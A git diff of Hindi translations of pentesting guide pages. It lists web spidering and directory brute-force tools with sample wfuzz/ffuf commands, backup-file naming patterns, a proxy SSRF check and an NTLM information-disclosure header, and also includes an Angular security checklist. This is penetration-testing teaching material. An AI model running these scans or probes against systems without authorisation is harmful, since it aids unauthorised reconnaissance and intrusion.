+वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना** है। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजा जाना चाहिए।
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)।
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ।
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
@@ -217,27 +217,27 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
- [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के विकल्पों को मिलाकर सामग्री खोजने का उपकरण।
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है।
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो दी गई .js.map URL से आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स का पता लगाने के लिए किया जाता है।
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स को निकालता है।**
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
-- [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
+- [**Crawley**](https://github.com/s0rg/crawley) (go): यह हर लिंक को प्रिंट करता है जिसे यह खोजने में सक्षम है।
### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** पर ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ पर।\
उपकरण:
-- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावर्ती खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावर्ती खोज की अनुमति देता है।
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावर्ती** खोज नहीं है।
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावर्ती खोज का समर्थन करता है।**
+- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावृत्त खोज की अनुमति देता है।
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावृत्त** खोज नहीं है।
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्त खोज का समर्थन करता है।**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
@@ -250,7 +250,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-- [Assetnote शब्दकोश](https://wordlists.assetnote.io)
+- [Assetnote वर्डलिस्ट](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@@ -264,13 +264,13 @@ SSL/TLS कमजोरियों के बारे में जानक
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, इसे ब्रूट-फोर्स किया जाना चाहिए।_
+_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
-- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
-- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग कर सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
+- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
+- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@@ -281,7 +281,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की **जांच करें**](buckets/index.html)।
-### विशेष खोजें
+### विशेष खोज
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**।
@@ -290,15 +290,15 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
- यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
-- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "ऐसी ही" दिखेंगी।
-- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
+- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
+- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
-- **जावास्क्रिप्ट डिओबफस्केटर और अनपैकर:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
-- **जावास्क्रिप्ट ब्यूटीफायर:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
-- **JsFuck डिओबफस्केशन** (जावास्क्रिप्ट के साथ अक्षर: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
+- **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
+- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
+- **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
-- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म पाए गए थे**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
+- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
**403 निषिद्ध/बुनियादी प्रमाणीकरण/401 अनधिकृत (बायपास)**
@@ -308,12 +308,12 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
**502 प्रॉक्सी त्रुटि**
-यदि कोई पृष्ठ **उस कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
+यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया करता है**, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
-**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
+**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
**HTTP रीडायरेक्ट (CTF)**
@@ -322,7 +322,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### वेब कमजोरियों की जांच
-अब जब वेब एप्लिकेशन का एक व्यापक अनुक्रमण किया गया है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
+अब जब वेब एप्लिकेशन की एक व्यापक सूची बनाई गई है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
-https://book.hacktricks.xyz/pentesting/pentesting-web
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index fb49f6b95..e1a3cb5ce 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -8,7 +8,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] प्रोजेक्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए सोर्समैप अक्षम है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को हमेशा टेम्पलेट्स में उपयोग करने से पहले इंटरपोलेट या सैनीटाइज किया जाता है
* [ ] उपयोगकर्ता के पास सर्वर-साइड या क्लाइंट-साइड टेम्पलेट्स पर कोई नियंत्रण नहीं है
-* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले एक उपयुक्त सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
+* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले उचित सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] `BypassSecurity*` विधियों का अविश्वसनीय इनपुट के साथ उपयोग नहीं किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को Angular क्लासेस जैसे `ElementRef`, `Renderer2` और `Document`, या अन्य JQuery/DOM सिंक्स में नहीं भेजा जाता है
@@ -39,17 +39,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
-अन्य दस्तावेज़ के अनुसार, हर Angular एप्लिकेशन में कम से कम एक घटक होता है, रूट घटक (`AppComponent`) जो घटक पदानुक्रम को DOM से जोड़ता है। प्रत्येक घटक एक वर्ग को परिभाषित करता है जिसमें एप्लिकेशन डेटा और लॉजिक होता है, और यह एक HTML टेम्पलेट से संबंधित होता है जो एक लक्षित वातावरण में प्रदर्शित होने वाले दृश्य को परिभाषित करता है। `@Component()` डेकोरेटर उस वर्ग को घटक के रूप में पहचानता है जो इसके ठीक नीचे है, और टेम्पलेट और संबंधित घटक-विशिष्ट मेटाडेटा प्रदान करता है। `AppComponent` को `app.component.ts` फ़ाइल में परिभाषित किया गया है।
+According to the documentation, हर Angular एप्लिकेशन में कम से कम एक कंपोनेंट होता है, रूट कंपोनेंट (`AppComponent`) जो एक कंपोनेंट हायरार्की को DOM से जोड़ता है। प्रत्येक कंपोनेंट एक क्लास को परिभाषित करता है जिसमें एप्लिकेशन डेटा और लॉजिक होता है, और यह एक HTML टेम्पलेट से जुड़ा होता है जो एक लक्ष्य वातावरण में प्रदर्शित होने वाले दृश्य को परिभाषित करता है। `@Component()` डेकोरेटर उस क्लास को तुरंत पहचानता है जो इसके नीचे है, और टेम्पलेट और संबंधित कंपोनेंट-विशिष्ट मेटाडेटा प्रदान करता है। `AppComponent` को `app.component.ts` फ़ाइल में परिभाषित किया गया है।
-Angular NgModules एक एप्लिकेशन डोमेन, एक कार्यप्रवाह, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन में आमतौर पर कई कार्यात्मक मॉड्यूल होते हैं। `AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
+Angular NgModules एक एप्लिकेशन डोमेन, एक वर्कफ़्लो, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन आमतौर पर कई कार्यात्मक मॉड्यूल्स को शामिल करता है। `AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
-Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य पदानुक्रमों के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
+Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्की के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
-डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप घटकों के बीच साझा करना चाहते हैं, आप एक सेवा वर्ग बनाते हैं। एक सेवा वर्ग परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी कक्षा में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने घटक वर्गों को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
+डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप कंपोनेंट्स के बीच साझा करना चाहते हैं, आप एक सेवा क्लास बनाते हैं। एक सेवा क्लास परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी क्लास में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने कंपोनेंट क्लासेस को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
## Sourcemap configuration
-Angular फ्रेमवर्क TypeScript फ़ाइलों को JavaScript कोड में अनुवाद करता है `tsconfig.json` विकल्पों का पालन करते हुए और फिर `angular.json` कॉन्फ़िगरेशन के साथ एक प्रोजेक्ट बनाता है। `angular.json` फ़ाइल को देखते हुए, हमने एक विकल्प देखा जो एक sourcemap को सक्षम या अक्षम करने के लिए है। Angular दस्तावेज़ के अनुसार, डिफ़ॉल्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए एक sourcemap फ़ाइल सक्षम होती है और यह डिफ़ॉल्ट रूप से छिपी नहीं होती है:
+Angular फ्रेमवर्क TypeScript फ़ाइलों को JavaScript कोड में अनुवाद करता है `tsconfig.json` विकल्पों का पालन करते हुए और फिर `angular.json` कॉन्फ़िगरेशन के साथ एक प्रोजेक्ट बनाता है। `angular.json` फ़ाइल को देखते हुए, हमने एक विकल्प देखा जो एक सोर्समैप को सक्षम या अक्षम करने के लिए है। Angular दस्तावेज़ के अनुसार, डिफ़ॉल्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए एक सोर्समैप फ़ाइल सक्षम होती है और यह डिफ़ॉल्ट रूप से छिपी नहीं होती है:
```json
"sourceMap": {
"scripts": true,
@@ -58,21 +58,21 @@ Angular फ्रेमवर्क TypeScript फ़ाइलों को Java
"hidden": false
}
```
-आम तौर पर, sourcemap फ़ाइलों का उपयोग डिबगिंग उद्देश्यों के लिए किया जाता है क्योंकि ये उत्पन्न फ़ाइलों को उनके मूल फ़ाइलों से मैप करती हैं। इसलिए, इन्हें उत्पादन वातावरण में उपयोग करने की सिफारिश नहीं की जाती है। यदि sourcemaps सक्षम हैं, तो यह पठनीयता में सुधार करता है और Angular प्रोजेक्ट की मूल स्थिति को दोहराकर फ़ाइल विश्लेषण में मदद करता है। हालाँकि, यदि इन्हें अक्षम किया गया है, तो एक समीक्षक अभी भी एंटी-सुरक्षा पैटर्न की खोज करके एक संकलित JavaScript फ़ाइल का मैन्युअल रूप से विश्लेषण कर सकता है।
+Generally, sourcemap files are utilized for debugging purposes as they map generated files to their original files. Therefore, it is not recommended to use them in a production environment. If sourcemaps are enabled, it improves the readability and aids in file analysis by replicating the original state of the Angular project. However, if they are disabled, a reviewer can still analyze a compiled JavaScript file manually by searching for anti-security patterns.
-इसके अलावा, एक संकलित JavaScript फ़ाइल Angular प्रोजेक्ट के साथ ब्राउज़र डेवलपर टूल्स → Sources (या Debugger और Sources) → \[id].main.js में पाई जा सकती है। सक्षम विकल्पों के आधार पर, इस फ़ाइल के अंत में निम्नलिखित पंक्ति हो सकती है `//# sourceMappingURL=[id].main.js.map` या यह नहीं हो सकती, यदि **hidden** विकल्प **true** पर सेट है। फिर भी, यदि **scripts** के लिए sourcemap अक्षम है, तो परीक्षण अधिक जटिल हो जाता है, और हम फ़ाइल प्राप्त नहीं कर सकते। इसके अलावा, प्रोजेक्ट निर्माण के दौरान sourcemap को सक्षम किया जा सकता है जैसे `ng build --source-map`।
+Furthemore, a compiled JavaScript file with an Angular project can be found in the browser developer tools → Sources (or Debugger and Sources) → \[id].main.js. Depending on the enabled options, this file may contain the following row in the end `//# sourceMappingURL=[id].main.js.map` or it may not, if the **hidden** option is set to **true**. Nonetheless, if the sourcemap is disabled for **scripts**, testing becomes more complex, and we cannot obtain the file. In addition, sourcemap can be enabled during project build like `ng build --source-map`.
-## डेटा बाइंडिंग
+## Data binding
-बाइंडिंग उस प्रक्रिया को संदर्भित करती है जिसमें एक घटक और इसके संबंधित दृश्य के बीच संचार होता है। इसका उपयोग Angular ढांचे के लिए डेटा को स्थानांतरित करने के लिए किया जाता है। डेटा को विभिन्न तरीकों से पास किया जा सकता है, जैसे कि घटनाओं, इंटरपोलेशन, गुणों, या दो-तरफा बाइंडिंग तंत्र के माध्यम से। इसके अलावा, डेटा को संबंधित घटकों (माता-पिता-शिशु संबंध) और दो अप्रासंगिक घटकों के बीच सेवा सुविधा का उपयोग करके भी साझा किया जा सकता है।
